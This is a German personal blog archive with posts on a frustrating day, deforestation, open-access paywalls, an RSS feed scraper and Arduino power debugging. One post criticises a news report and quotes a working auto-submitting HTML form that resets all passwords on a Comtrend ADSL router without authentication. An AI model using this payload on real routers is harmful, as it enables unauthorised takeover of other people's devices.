Ein scheiss Tag

Heute war einer dieser Tage. An sich nicht dramatisch aber in Summe eher wenig erbaulich.

In die Innenstadt gefahren.

Mehr als 10 Minuten zur Bank gelatscht.

War ein Typ vor mir am Schalter, der dort offenbar dabei war eine Bank zu gründen oder so.

Nach 20 Minuten Scheck eingelöst.

"Das hätten Sie auch draussen am Automaten machen können".

Vielen Dank.

Wieder zurück gelatscht.

In den Saturn gegangen wegen MP3 Player Gucken, weil iPod tot.

Es war nur Scheisse im Angebot.

Zum S-Bahnhof zurück getapert.

S-Bahn verpasst.

Endlich kam eine, die hielt aber am Ostbahnhof anstatt durchzufahren.

Also aussteigen und auf die nächste warten.

Falscher Bahnsteig.

Es fing an zu regnen.

Aus der S-Bahn gestiegen und 15 Minuten nach Hause geschwommen.

Türe geöffnet.

Es stank (und stinkt noch immer) nach Katzenklo. Weil die neue Mieterin etwa 20 Katzen beherbergt.

Oben in der Wohnung angekommen.

Es stinkt immer noch nach Katzenklo. IN meiner Wohnung.

Was für ein scheiss Tag!








Remote Exploit via 192.168.1.1

Heise berichtet mit der Überschrift "4,5 Millionen Router gehackt" über einen Vortrag von einem Snakeoil-Vertreter namens Fabio Assolini über einen remote exploit mit denen Hacker 4.5 Millionen Router in Brasilien gehackt haben wollen.

Netterweise verlinkt Heise auf die exploit-db, die sie so verlinken:

Dafür haben sie mittels zweier Bash-Scripte per Cross Site Request Forgery (CSRF) zunächst das Administrator-Passwort geändert und im zweiten Schritt den DNS-Server-Eintrag im Router manipuliert.

Ich bin dem Link gefolgt und fand dort erstens überhaupt kein Bash-Script und von "remote" ist dort auch nichts zu sehen, sondern sowas hier:

root@linux:~#  get.pl http://192.168.1.1/password.cgi   ## Information Disclosure

Das sieht jetzt eher nicht nach remote Exploit aus. Dann ändern die "Hacker" die Routerpasswörter mit:

[CUT EXPLOIT HERE]                        ## CSRF For Change All passwords
<html>
<head></head>
<title>COMTREND ADSL Router BTC(VivaCom) CT-5367 C01_R12 Change All passwords</title>
<body onLoad=javascript:document.form.submit()>
<form action="http://192.168.1.1/password.cgi"; method="POST" name="form">
<!-- Change default system Passwords to "shpek" without authentication and verification -->
<input type="hidden" name="sptPassword" value="shpek">
<input type="hidden" name="usrPassword" value="shpek">
<input type="hidden" name="sysPassword" value="shpek">
</form>
</body>
</html>
[CUT EXPLOIT HERE]

Das sieht jetzt eher auch nicht nach Cross Site Request Forgery aus, sondern eher nach einem simplen HTT Post Request, mit dem man einfach die Passwörter bei dem Router ändern kann ohne authentisiert zu sein.

Es ist ja schlimm genug, wenn sich solche Trolle heutzutage Hacker nennen dürfen, noch schlimmer ist, wenn die solchen Bockmist in eine exploit-db publiziert kriegen, und noch viel schlimmer, dass ein Kaspersky Mann das auch noch in einem Vortrag erwähnt. Aber, dass Heise.de darüber berichtet (oder abschreibt?!) ohne irgendwelche Details nachzuprüfen, ist eine Katastrophe.


04.10.2012 18:46 CC0 fun idioten kritik Unfassbar






Die Arroganz der Entrüsteten

Seit vielen Jahren geht das Problem durch die Medien, es gibt unzählige Dokumentationen und Studien: die Abholzung der Regenwälder. Jedes Jahr werden allein in Brasilien Flächen in der Größe der BRD abgeholzt (oder so, genaue Größen habe ich jetzt nicht, das tut aber hier nichts zur Sache). Während zwar die Beweggründe der "Täter" durchaus umfassend beleuchtet werden, bleibt trotzdem die Entrüstung. Der Vorwurf der Zerstörung schwebt in jedem Bericht, jeder Doku und jedem Artikel unterschwellig mit.

Und in der Tat ist es entsetzlich was man da an Bildern zu sehen bekommt. Ein Alptraum im wahrsten Sinne des Wortes. In vielen Fällen wird den dort Verantwortlichen Verantwortungslosigkeit vorgeworfen, oder Ignoranz, oder Egoismus, oder Raffsucht, Gier - you name it. Mich stört das schon ziemlich lange. Diese hochnäsige Attitüde des Besserwissenden, der herabblickt auf die ungebildeten primitiven Horden, die rücksichtslos die Natur zerstören.

Die Frage ist, warum empfinde ich diese Sichtweise als arrogant? Im Grunde ist es sehr einfach. Wir - ich zähle mich da einmal mit hinzu - werfen den Menschen in der Dritten Welt Dinge vor, die wir auch getan haben. Oder noch tun. Unter "wir" verstehe ich damit unsere Kultur, das heisst nicht nur die jetzt existierende, die von sich selbst meint, besonders hoch entwickelt zu sein, sondern auch unsere Vorfahren, die ja unbestreitbar ein Bestandteil unserer Kultur sind. Denn wir sind in Summe nicht mehr und nicht weniger als das, was unsere Vorfahren uns in jeder Hinsicht hinterlassen haben.

Und unsere Vorfahren haben tatsächlich genau die Dinge getan, die die Menschen in Brasilien und anderswo heute tun: wir haben Wälder gerodet. Und zwar in großem Stil. Vor langer, langer Zeit war Europa einmal nahezu vollständig mit Wäldern bedeckt. Es gab unzählige Raubtiere wie Berglöwen, Pumas, Wölfe oder Bären und noch viel unzähligere Arten Pflanzenfresser. Nichts davon ist mehr da. Es gibt die großen Wälder Europas nicht mehr. Es gibt keine frei lebenden Bären mehr, eine Handvoll Wölfe quält sich noch in Polen durch ihre karge Existenz. Und wie wir heute wissen, leben in einem solch ausgedehnten Biotop eine Menge Arten, die allesamt austerben, wenn das Biotop verschwindet. Wölfe und Bären sind nur die Arten, von denen wir explizit wissen, dass wir sie ausgerottet haben. Wieviele ungezählte Spezies mag es hier gegeben haben, von denen wir gar nicht wissen, dass sie überhaupt je gelebt haben? Was für Blumen, Kräuter, Amphibien, Reptilien, Bakterien, Flechten und Vögel sind für immer verschwunden? Und das ist unsere Schuld, die Schuld unserer Kultur.

Das Ausmaß der Umweltzerstörung, das wir hinterlassen haben, übertrifft das der Brasilianer um ein hundertfaches. Es ist nur lange her. Niemand erinnert sich daran oder - wohl eher zutreffend - will sich daran erinnern. Ich muss mich nur auf der Insel Fehmarn, auf der ich heute lebe, umschauen. Hier gibt es überhaupt keinen einzigen unberührten Flecken mehr. Ja, es gibt ein "Vogelschutzgebiet Wallnau". Aber das ist flächenmäßig so winzig, das ist ein Witz. Und ansonsten gibt es auf Fehmarn nur Felder, Häuser und Strassen. Wir haben genau 2 Wälder. Jeder davon ist etwa 1-2 Quadratkilometer gross. Das ist alles. Es gibt ein paar Rehe, haufenweise Hasen, die üblichen Verdächtigen Vogelarten. Mehr nicht. Aber so war das freilich nicht immer. Früher war die Insel einmal vollständig von Wald bedeckt. Es gab einen Artenreichtum, von dem heute nichts mehr übrig ist. Ok, es ist locker 5000 Jahre her, seit die Menschen angefangen haben, hier die Wälder zu roden. Aber für die Natur, die dadurch verloren gegangen ist, macht es keinen Unterschied, ob etwas heute oder vor 5000 Jahren geschieht. Es ist geschehen, wir haben es getan und es ist nicht rückgängig zu machen.

Freilich ist das auch kein europäisches Phänomen. Als ein Beispiel von tausenden sei die Osterinsel genannt. Die war auch mal komplett mit Urwald bedeckt. Und das Biotop der Osterinsel war weiträumig isoliert. Man kann davon ausgehen, dass die allermeisten der dort vorgekommenen Arten einmalig waren. Vernichtet. Und natürlich ist die heutige "moderne" Forderung nach Wiederaufforstung keine wirklich neue Erfindung. Nachdem die Römer mit dem Bau des Hadrianwalls fertig waren, haben sie die ganzen Wälder, die sie dafür abgeholzt hatten, wieder aufgeforstet. Das war vor beinahe 2000 Jahren.

Was haben wir also? Da haben wir einen (fiktiven) Umweltschützer, der in Düsseldorf lebt. Er ist umgeben von Städten, Häusern, Gewerbegebieten, Industrie, Überlandleitungen, Windmühlen, Kraftwerken, Autobahnen, Freibädern oder Golfplätzen - keine Natur. Jedenfalls keine wirklich signifikant sich selbst überlassene, wilde, freie Natur in dem Sinne, wie wir einen Urwald betrachten. Er fährt jeden Tag mit dem Auto zur Arbeit, wirft abends zu Hause die Heizung an, schaut Fernsehen und hat den Laptop auf dem Schoß. Dieser eine Umweltschützer verbraucht alleine mehr Energie, als eine mittlere Kleinstadt in Brasilien. Aber er regt sich auf. Über die Vollidioten dort drüben, die den Regenwald zerstören. Er spendet. Er unterzeichnet Peditionen. Er marschiert auf Umweltschutzdemos mit. Aber er fragt sich nicht, zu welchem Preis der ganze Komfort, mit dem er sein Leben verbringt, bezahlt wurde: durch die Zerstörung von Natur. Direkt dort, wo sei Haus steht, ist vor hunderten oder tausenden Jahren vielleicht der letzte Bär getötet oder der letzte tausendjährige Baum gefällt worden.

Diese Entrüstung, die allenthalben überall über dieses Problem geäußert wird, ist deshalb arrogant, weil sie von Menschen kommt, die sie gar nicht äussern könnten, hätten ihre Vorfahren nicht präzise das gleiche getan. Ich will damit nicht sagen, dass wir die Leute in Brasilien deswegen nun machen lassen sollen. Keineswegs. Aber aus Fehlern soll man lernen. Und diese ganzen sogenannten Umweltschützer sollten irgendwann einmal damit anfangen, besser bald als später. Die Fehler haben wir alle schon gemacht. Und die Frage, mit der man sich beschäftigen sollte lautet, wie kann man es besser machen? Wie kann man die Lebensqualität von Millonen oder Milliarden Menschen steigern, ohne allzu viel Natur dabei zu zerstören? Und die Antwort sollte nicht lauten, dass sich die Lebensqualität dieser Menschen nicht steigern soll. Doch, das soll sie. Aber solange sich darüber niemand Gedanken macht und Ideen vorbringt, wie das zu bewerkstelligen ist, sind die ganzen entrüsteten Umweltschützer nichts anderes als scheinheilige, sich selbst belügende, egozentrische, arrogante Ignoranten.

Und das geht mir gehörig auf den Zeiger. Musste ich einfach mal loswerden.


02.10.2012 19:13 CC0 abholzung essay fehmarn kritik Science






Feedextrator für meinen River of News - Updated 01.10.2012 17:38

Ich hatte ja neulich schon mal erwähnt, dass Feedburner demnächst die Pforten dicht macht und Feed43 ja auch eine zentrale Lösung ist, von der ich abhängig bin.

Das habe ich nun geändert mit Feedextrator. Dabei handelt es sich um ein - bis jetzt noch - recht einfaches Perlscript, dass Webseiten abholt und anhand von konfigurierbaren Regeln Teile davon extrahiert und einen Feed daraus erzeugt. Das Funktionsprinzip habe ich Feed43.com abgekupfert. Ich brauche das in folgenden Fällen:

  • wenn ein Feed kein pubDate liefert (ich sortiere im River ja zeitlich), wie zum Beispiel Fefe.
  • wenn ein Feed nur kurze Überschriften oder Snippets und keinen Volltextfeed liefert, wie zum Beispiel Nils Bloghaus.
  • wenn eine Seite gar keinen Feed anbietet, wie zum Beispiel Al Daily.
  • oder wenn eine Seite einen Feed ausliefert, der von Feedburner generiert wird.

Mit dem Script habe ich diese ganzen Fälle jetzt erschlagen. Das Script ist noch nicht paketiert usw, ist aber OpenSource (Perl Lizenz, wie üblich bei mir) und kann hier schon mal runtergeladen/angeschaut werden:

Auf der River-About Seite sind ja alle Feeds aufgelistet. Die RSS Links unter dem Icon links zeigen jeweils entweder auf den original Feed oder auf den von meinem Script generierten. Hier mal als Beispiel der Feed von Al Daily/river/feed/rss/50/.


Update 01.10.2012 17:38:

Ich habe den Feedextrator nochmal erweitert, man kann da jetzt in der Config auch den Cookieheader angeben. Ganz konkret benutze ich das, um mir den Feed von Aquaristik SH abzuholen. Im Falle dieses Forums ist der Feed zwar öffentlich sichtbar, aber es handelt sich um ein Burningboard. Da gibts auch mal Threads die man nur als angemeldeter User sehen kann, was für den Feed natürlich auch gilt. Da das Python Feedparser Modul aber eine solche Anmeldung nicht kann, mach ich es so. Ganz konkret habe ich einfach beim Login ins Forum mit dem Addon Liveheaders zugeguckt und mir dort den Cookieheaderwert rausgeholt. Ab in die Config und schwupp hab ich den kompletten Thread hier im River.

Mächtig gewaltig, wie Benny von der Olsenbande immer zu sagen pflegte...


29.09.2012 13:01 CC0 river rss web20 River






Walled Garden Wissenschaft - Updated 28.07.2015 20:20

Immer mal wieder rege ich mich über Paywalls auf, die mich daran hindern, die eine oder andere Studie anzuschauen. Aktueller Fall ist eine Studie über die Evolution der sexuellen Fortpflanzung.

Aufmerksam geworden bin ich über eine Pressemitteilung des IDW auf die Studie: Die Evolution der sexuellen Fortpflanzung. Das fand ich spannend und ergoogelte mir sogleich die Studie, die hier zu finden ist: Hydra meiosis reveals unexpected conservation of structural synaptonemal complex proteins across metazoans (doi: 10.1073/pnas.1206875109).

Und was wird da angezeigt:

Purchase Short-Term Access

Ärgert mich das? In der Tat!

Da es aber diesmal Studie deutscher Wissenschaftler ist, lässt sich besser herausfinden, wer die bezahlt hat. Gucken wir mal, in der Pressemitteilung findet sich schon ein Hinweis:

Die Forschungsarbeiten in Würzburg werden vom Schwerpunktprogramm 1384 „Mechanisms of Genome Haploidization“ der Deutschen Forschungsgemeinschaft (DFG) finanziert. Die Arbeitsgruppe ist Mitglied des Programms seit der Gründung im Jahr 2009. [Hervorhebung durch mich]

Die DFG also. Kenn ich nicht. Google aber. Es handelt sich um einen Verein, der als solcher natürlich auch offenlegen muss, von wem er seine Gelder bekommt, als da wären:

Die DFG erhält ihre finanziellen Mittel zum größten Teil von Bund und Ländern, die in allen Bewilligungsgremien vertreten sind.

Und woher der Bund und die Länder ihre Gelder bekommen, ist hinreichend bekannt: vom Steuerzahler. Das schliesst mich ein. Es handelt sich also bei diesen Forschungsergebnissen um ein öffentliches Gut, da von öffentlicher Hand finanziert. Trotzdem darf eine US-amerikanische Entität (es handelt sich um ein Organ der National Academy of Sciences. Wer da wie was an Geld verdient und/oder was mit dem Geld geschieht, hab ich nicht herausgefunden) mit von deutschen Steuerzahlern finanzierten Forschungen Geld verdienen.

Na fein. Dann schreiben wir mal eine Email an die Herren Wissenschaftler und fragen die. Sofern ich eine Antwort bekomme, gibts ein Update.


Update 28.09.2012 17:57:

Die verantwortlichen Wissenschaftler habe ich angeschrieben. Während ich auf eine Antwort warte, habe ich hier noch einen Artikel von Professor Hugh Gusterson im Chronicle gefunden, der u.a. meint:

The open-access debate has focused mainly on the exorbitant fees for-profit publishers charge libraries for bundles of journal subscriptions, but I am struck by what they charge ordinary citizens to read my individual articles.
[..]
For example, anyone without access to a university library who wants to read a nine-page article I wrote (free) for the Bulletin of Atomic Scientists last year will have to pay Sage $32 to get electronic access to it for one day—more than it would cost to buy and keep a printed copy of either of my most recent books. Needless to say, Sage passes none of the $32 on to me.
Mein Reden.

Kommt noch besser. Es stellt sich heraus, dass die Wissenschaftler, die den Peer Review für bei solchen komerziellen Journalen durchführen, dafür nicht einmal bezahlt werden:
Another reason the commercial behemoths are so profitable is that their high prices are paired with the free labor of thousands of academic referees like me. Publishers can assure the quality of their products only if highly trained experts examine the articles on the academic production line and pick out the 10 percent to 20 percent that meet the highest standards for excellence. Without this free labor, the publishing companies' entire enterprise would collapse.
Der Professor schlägt vor, diesen Verlagen den Peer Review in Rechnung zu stellen. Das wäre eine Idee, die andere wäre, nur noch OpenAccess zu unterstützen, und zwar sowohl als veröffentlichender Wissenschaftler und als Peer-Reviewender.


Update 01.10.2012 15:24:

Wie zu erwarten kam bisher noch keine Antwort. Die mag womöglich noch in den nächsten Wochen eintrudeln, es gerüchtet, dass es immer noch Leute gibt, die EMails immer erst nach ein paar Wochen beantworten. Vielleicht bin ich auch zu ungeduldig. Wie dem auch sei, nun habe ich die Anfrage an die Pressestelle der Uni Würzburg weitergeleitet.

Nächste Station wäre dann das Präsidialbüro. Was auch immer das sein mag, klingt aber höhergeordnet.


Update 01.10.2012 19:17:

Oh, hab ich nicht gemerkt, aber die Pressestelle hat exakt 8 Minuten nach meiner Mail schon geantwortet. Sehr nett, und auch nett geschrieben. Zusammengefasst: natürlich kann die Pressestelle nicht viel dazu sagen, warum ein Wissenschaftler wo etwas veröffentlicht. War mir durchaus klar. Aber immerhin hat er zugesagt, mal zu schauen, ob er die Wissenschaflter kontaktiert kriegt und zu einer Aussage bewegen kann. Find ich toll.


Update 17.10.2012 07:11:

Tja. Nun ist schon über ein halber Monat vergangen und ich habe weder von der Pressestelle, noch von einem der Wissenschaftler etwas gehört. Somit schreibe ich jetzt mal die DFG und deren Präsidialbüro an.


Update 17.10.2012 18:22:

Alle Achtung, vom DFG hab ich gleich eine Antwort bekommen. Sie lautet sinngemäß, dass der DFG seinen Projektnehmern Open Access empfiehlt und sie dabei unterstützt, aber dass es letztlich die Entscheidung der Wissenschaftler ist, wo sie veröffentlichen. Im Unterschied zu Österreich, wo Wissenschaftler sogar dazu verpflichtet sind, via Open Access zu veröffentlichen, wenn sie öffentlich gefördert worden sind.

So erfreulich die schnelle Antwort zwar ist, wirklich weiter bringt mich das nun auch nicht...


Update 24.10.2012 10:12:

Nun, auch deren "Präsidialbüro" hat nicht reagiert und auch von den angeschriebenen drei Wissenschaftlern kam bisher nichts. Ich habe den Fall daher dem Obersten Bayrischen Rechnungshof und dem Bayerisches Staatsministerium für Wissenschaft vorgetragen. Nicht, dass ich mir davon viel erwarten würde. Aber versuchen kann man es ja.

Aus dem gleichen Grund veröffentliche ich jetzt auch die Mail, die ich ursrünglich an die Wissenschaflter geschrieben hatte:

> Date: Freitag, 28. September 2012 14:32
> To: johanna.fraune@uni-wuerzburg.de;
>      alsheimer@biozentrum.uni-wuerzburg.de;
>      benavente@biozentrum.uni-wuerzburg.de
> Subject: Warum haben Sie die Studie "Die Evolution der
>               sexuellen Fortpflanzung" bei PNAS veröffentlicht?
> 
> Hallo,
> 
> ich bin über eine Pressemitteilung beim IDW auf Ihre Studie
> aufmerksam geworden:
> http://idw-online.de/pages/de/news498662. Ich fand das
> äusserst interessant und wollte mir die Studie durchlesen.
> Anhand der doi Nummer konnte ich die Stude bei PNAS auch
> finden, allerdings benötigt man, um darauf zugreifen zu können,
> eine kostenpflichtige Subscription, die ich nicht habe.
> 
> Nun habe ich herausgefunden, dass Ihre Forschung vom DFG
> finanziert wurde, der wiederum von Bund und Ländern - also
> dem Steuerzahler - finanziert wird. Daher finde ich es ein wenig
> befremdlich, wenn Sie Ihre aus Steuermitteln finanzierten
> Forschungsergebnisse hinter einer Paywall verbergen.
> 
> Um Ihnen meinen Standpunkt zu verdeutlichen: ich bin kein
> Wissenschaftler, ich bin lediglich ein interessierter Bürger, der
> sich hin und wieder mit neuesten wissenschaftlichen Erkenntnissen
> beschäftigt und der es auch gerne mal genauer wissen will. Ich bin
> aber auch werktätiger Familienvater und kann es mir nicht leisten,
> für 1 Artikel 10 oder 20 Dollar zu bezahlen oder gar meherere
> Hundert im Jahr.
> 
> Für andere Wissenschaftler Ihres Fachgebiets, jedenfalls solche,
> die an Universitäten organisiert sind, dürfte eine Veröffentlichung
> bei PNAS sicher kein Problem darstellen, da solche Institute
> üblicherweise über derartige Subscriptions verfügen. Für den
> Rest der Welt ist Ihre Studie aber praktisch nicht vorhanden.
> 
> Ich würde sehr gerne wissen, warum Sie die Studie bei PNAS
> veröffentlicht haben. Zumal es gerade in Ihrem Fachgebiet eine
> Alternative gäbe: http://www.plosone.org/.
> Insbesondere, da Ihre Forschung mit Steuermitteln
> finanziert wurde, sollten die Ergebisse frei verfügbar sein.
> 
> Verstehen Sie mich nicht falsch. Ich bin kein Vertreter einer
> angeblich grassierenden "Kostenloskultur" im Internet. Mir ist
> durchaus klar, dass die Herausgabe einer wissenschaftlichen
> Zeitschrift mit Arbeit und daher auch mit Kosten verbunden ist.
> Ich habe auch ein Abonnement einer wissenschaftlichen
> Fachschrift (allerdings aus einem anderen Fachgebiet). Das
> heisst, grundsätzlich hätte ich kein Problem damit, für solche
> Dinge zu bezahlen. Aber nicht solche Summen für 1 Artikel!
> Und da ich ein Laie bin, werde ich wahrscheinlich ohnehin
> nur die Hälfte der Studie verstehen, womöglich überfliege ich
> sie nur und es bringt mir gar nichts. Dafür gebe ich nicht
> solche Summen aus. Zumal ich als Steuerzahler ja ohnehin
> schon mit meinen Steuern zur Finanzierung Ihrer Arbeit
> beigetragen habe.
> 
> Also ich wäre Ihnen sehr verbunden, mir das zu erklären, weil
> es mir ein absolutes Rätsel ist, warum Wissenschaftler so etwas
> tun. Am Peer Review kann es kaum liegen, den bietet PLOS
> auch an.
> 
> Aufgrund Ihrer Veröffentlichung sieht es jedenfalls so aus, dass
> ich nach wie vor auf dem alten Wissensstand bin: dass sich die
> sexuelle Evolution mehrmals parallel entwickelt hat. Sie behaupten
> etwas anderes, aber Ihre Beweise sind für mich nicht verfügbar.
> Ob das der Sinn der Übung ist, wage ich zu bezweifeln.
> 
> 
> Ein Hinweis noch: ich habe die Problematik in einem Blogposting
> veröffentlicht:
> http://www.daemon.de/blog/2012/09/27/174/walled-garden-wissenschaft/.
> Sofern Sie mir tatsächlich antworten und dem nicht ausdrücklich
> widersprechen, werde ich Ihre Antwort dem Artikel hinzufügen.
> 
> 
> 
> 
> mit freundlichen Grüssen,

Die Wissenschaflter sind:


Update 28.07.2015 20:20:

Ja, ist schon eine Weile her. Es ist weiter bisher nichts passiert. Daher habe ich mir den Zugang zu der Arbeit auf andere Weise beschafft. Freiheit der Wissenschaft? Wissen für alle? My Ass.








Commentgeddon und Feedgeddon

Commentgaddon nennt WIIIA die Abschaltung von Haloscan. Und Heise berichtet über die Abschaltung von Feedburner. Zwei Meldungen - Ein Problem: massenweise haben die Leute diese zentralisierten Dienste genutzt. Nun sind sie weg und die Leute stehen auf dem Schlauch.

Die Idee des Webs war ja ursprünglich Dezentralisierung und Verlinkung. Aber je mehr kommerzielle Firmen sich ins Web gedrängt haben, umso mehr wurde zentralisiert. Und die Leute haben mitgemacht. Das kommt dann dabei heraus: Informationen werden verschwinden, was genau diametral entgegengesetzt zur ursprünglichen Idee ist. Aber werden die Leute daraus lernen? Werden sie sich statt dessen darum kümmern, ihre Informationen unter eigener Verantwortung ins Netz stellen? Nein.

Statt dessen regen sie sich auf und wünschen den Abschaltern die Syphilis an den Hals. Obwohl sie in Wirklichkeit die wahren Schuldigen sind.

Ich selbst bin übrigens auch betroffen. In meinem River habe ich 7 Feeds, die über Feedburner laufen und es steht zu befürchten, dass die jeweiligen Betreiber das entweder nur sehr spät oder gar nicht merken werden. Ich muss mir also selber was überlegen. Und bei der Gelegenheit fällt mir auf, dass ich recht exzessiv Feed43.com nutze, für Seiten, die entweder keinen oder nur einen unbrauchbaren RSS-Feed anbieten. So wie es aussieht sollte ich mir da lieber baldigst selber einen Ersatz programmieren.


26.09.2012 19:44 CC0 netz walledgarden web20 Networking






Terraduino Bug (power shutdown) - Updated 18.11.2012 10:26

Ich habe ja immer noch meinen Bug nicht behoben, der Terraduino stirbt regelmäßig.

Rein zufällig, weil mich jemand danach gefragt hatte, habe ich mir mal den Stromverbrauch des von mir benutzten 8-Kanal-Solid-State-Relais angeschaut: 160mA. Der Ethernetshield verbraucht 150 mA. Und wenn man zu viel Strom am Arduino verbraucht, passiert das:

External power is limited by the on-board regulator's over current and over temperature automatic shutdown protection circuits. How much heat dissipation for the regulator is determined by the actual current being drawn and the voltage drop across the regulator (that is DC input voltage - 5.0 X current).[emphasized by me]

Und dann habe ich das hier gefunden:

ATMEL ATMEGA2560-1280-640(MEGA) Current Specifications:

Absolute Maximum ratings:

DC Current per I/O Pin .............. 40.0 mA

DC Current VCC and GND Pins......... 200.0 mA

This apparently is saying you get 800mA to play with as there are 4 Vcc and 4 Gnd pins

Also 200 mA PRO DC Current VCC Anschluss. Und ich habe an einem Anschluss hängen:

  • den RTC Timer
  • das 8-Kanal-Solid-State-Relais
  • den Temperatursensor
  • den Feuchtigkeitssensor
  • sämtliche 8 LEDs

Das erklärt auch, warum der Controller am Aquarium mit nur 2 Lampen super funktioniert: die Relaiskarte verbraucht natürlich dann nur 40 mA anstatt der 140 mA wenn er am Terrarium hängt (ich verwende 7 Kanäle: 6 Lampen und der Trafo für den Lüfter). Dass das knapp werden muss, ist ja klar. Die Lösung ist auch klar: ich muss die Relaiskarte von einem anderen VCC+GND aus mit Strom versorgen, dann sollte alles passen.

Böse Falle!


Update 26.09.2012 13:11:

So, ich hab heute den Controller zerlegt und nachgeschaut. Es war wie ich es mir dachte. Die Spannungsversorgung für die Peripherie hatte ich am 5V Pin des Ethernetshields angeschlossen. Somit hingen ALLE Komponenten einschliesslich des Ethernetshields an EINEM 5V Pin, der wie erwähnt ja nur 200 mA schafft. Nun habe ich die Spannungsversorgung der Relaiskarte abgezwickt und auf die extra 5V und GND Pins direkt auf dem Mega gesteckt (vor PIN 22 und nach PIN 54). Er läuft jetzt im Testbetrieb, alle Kanäle sind geschaltet. Mal sehen.


Update 29.09.2012 11:12:

Wie sich herausgestellt hat, hat das auch nichts gebracht, er ist trotzdem ausgegangen. Inzwischen habe ich herausgefunden:

The 8-relay board shown here gives you a choice of powering the relay drive circuits from the same supply as Arduino, or isolating Arduino by removing the jumper over at the right. In that case you need to have some separate +5V supply connected to GND and the "JD-VCC" pin.
Ich habe auch nochmal das Datenblatt konsultiert. Die Relaiskarte hat tatsächlich 3 Stromkreise: den Laststromkreis, an den man die 220V Verbraucher hängt, den Steuerstromkreis, mit dem man via Arduino die Relais schaltet und den Stromkreis für die Optokoppler. Letzterer wird per Default vom Arduino mitversorgt, was passiert, wenn der erwähnte Jumper auf VCC und VCC-JD steckt. Dieser Stromkreis verbrät selber nochmal 400 mA bei allen geschalteten Kanälen!

Da ich im Terraduino bereits einen 5V Trafo verbaut habe (eigentlich für den Betrieb des Lüfters), habe ich das jetzt umbauen können. Ich habe den Trafo-Input direkt auf den 220V Bus gelegt, der hat nun also immer Strom und das Output (5V und GND) auf den erwähnten 3-Pin-Steckplatz der Relaiskarte.

Tatsächlich ist es mit dieser Verkabelung nun so, dass die Relaiskarte bei Anschluss des Arduino Netzteils zwar in Betrieb geht, die roten Status-LEDs gehen an und beim Schalten eines einzelnen Relais hört man auch das typische Klickgeräusch. ABER: ohne 220V Stromversorgung geht die angeschlossene Lampe nicht an. Die Karte holt sich also keinen Strom für die Optokoppler vom Arduino. Erst wenn ich die 220V Versorgung auch anschliesse - und damit dem Trafo Strom gebe - funktioniert alles. Nun habe ich zwar keinen Lüfter mehr und mein komplettes Klimaregelungsfeature ist für den Arsch - aber zumindest sollte der Arduino jetzt ohne Murren durchlaufen. Ich teste trotzdem weiter am Aquarium, denn so recht trauen tue ich dem Zeug in zwischen nicht mehr wirklich. Mal sehen also...


Update 01.10.2012 07:01:

Nein, die letzte Maßnahme hat die Situation verschlimmbessert. Der Controller ist innerhalb von 12 Stunden gleich zweimal ausgegangen (vorher nur einmal alle 1-2 Wochen). Da ist also irgenwas wirklich richtig faul. Mir wird also nichts übrigbleiben, als es nochmal zu zerlegen und jeden Kabelstrang durchzumessen um zu wissen, wo dem Arduino soviel Strom entzogen wird. Langsam wird es jedenfalls lästig.


Update 02.10.2012 07:20:

Also die getrennte Stromversorgung für die Optopkoppler der Relaiskarte hat nichts gebracht. Statt dessen ist es eigentlich noch schlimmer. Ich habe das Teil gestern auseinandergebaut und systematisch durchgemessen. Dabei habe ich zwei seltsame Dinge herausgefunden: ich habe 2 Stromversorgungen, die vom Arduino weggehen: eine geht auf meine Leiterplatine, von wo aus die LEDs, Schalter, Sensor, RTC usw versorgt werden und eine weitere geht zum Relais für die Steuerspannung. Wenn ich beide GND Kabel am Arduino abziehe, funktioniert immer noch alles. Eigentlich sollte gar nichts mehr gehen, weil überhaupt kein funktionierender Stromkreis mehr da ist. Das ist aber nicht so, alles geht. Gleichzeitig bin ich beim Fummeln an den Stecker vom Speaker gekommen, der sitzt etwas locker. Dabei ist das Gerät mehrfach aus- und angegangen. Wobei sich herausstellt, dass das exakt das beobachtete Verhalten ist: vorn sind alle LEDs aus und die Relais sind abgeschaltet, d.h. die Lampen sind aus. Innen jedoch sind die LEDs auf dem Arduino und dem Ethernetshield noch an und auf der Relaiskarte leuchten noch 4 der roten Kontrol-LEDs. So wie es also aussieht, war mein Bug nicht, dass der Controller wegen zu hohem Stromverbrauch ausgeht, sondern es war dieser "Wackler". Offenbar kriegt die Leiterkarte auch Strom wenn die beiden GNDs nicht angeschlossen sind und irgendwie muss das mit dem Speaker Anschluss zusammenhängen.

Aber es wird noch wilder: nun hab ich den + vom Speaker (das heisst der Anschluss, den ich vom Arduino aus mit PWM ansteuere) mal umgesteckt von Pin 23 auf 37. Und nun wirds richtig spannend. Wenn ich jetzt die GNDs abziehe, verhält er sich wie erwartet - nichts geht. Wenn ich sie anschliesse, läuft alles. Und ich kann am Speaker-Stecker wackeln wie ich mag, da passiert gar nichts. ABER: sobald ich die GUI aufrufe (und also auf dem Ethernetshield Aktivität auslöse), geht er aus (und zwar wie oben beschrieben: Lampen aus, LEDs aussen aus, LEDs innen weiter an und keine Reaktion mehr am Ethernet).

Tja. Ich bin momentan etwas ratlos, aber so wie es aussieht, habe ich wohl auf meiner Leiterplatine irgendeinen Fehler. Oder einen Kurzen. Keine Ahnung. Ich bin ja auch nur Amateur. Ich werde also heute einen Schritt tiefer einsteigen und die Leiterplatte ausbauen und da jede einzelne Lötstelle durchmessen müssen. Ich weiss nicht mal, wie ich das machen soll. Die Messkontakte meines Multimeters sind viel zu grob für solchen Kleinkram. Ein echter Scheiss.


Update 03.10.2012 18:35:

So, heute habe ich den Controller mal komplett zerlegt und wirklich alles durchgemessen. Die eigentliche Ursache für das Shutdownproblem habe ich allerdings noch nicht gefunden. Aber ich weiss jetzt, warum das System läuft, auch wenn man GND entfernt: er verwendet dann das OUTPUT PIN des Speakers als GND! Und wie sich herausstellt, ist das ein Feature. Ein PIN im OUTPUT Mode im Status LOW kann Strom ableiten ("sink current" auf englisch). Allerdings tut er das NUR, wenn es sonst keinen anderen Weg gibt. Wenn ich also GND auf dem Arduino connecte, läuft über die Speaker-PIN kein Strom - immerhin.

